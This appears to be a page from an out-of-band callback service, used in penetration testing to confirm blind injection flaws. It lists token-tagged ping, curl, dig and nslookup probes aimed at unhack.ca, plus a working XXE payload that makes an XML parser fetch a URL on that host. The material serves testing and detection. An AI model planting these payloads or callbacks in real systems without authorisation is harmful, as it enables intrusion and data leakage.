$ ping -c1 -p 00d8a268afcd81aaf3f48ac56a2a2000 unhack.ca
 
$ curl http://unhack.ca/p/d8a268afcd81aaf3f48ac56a2a20
 
$ dig d8a268afcd81aaf3f48ac56a2a20 @unhack.ca
 
$ dig d8a268afcd81aaf3f48ac56a2a20.ns.unhack.ca
 
C:\> nslookup d8a268afcd81aaf3f48ac56a2a20 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d8a268afcd81aaf3f48ac56a2a20">]>
    <foo>&xxe;</foo>
Waiting for ping...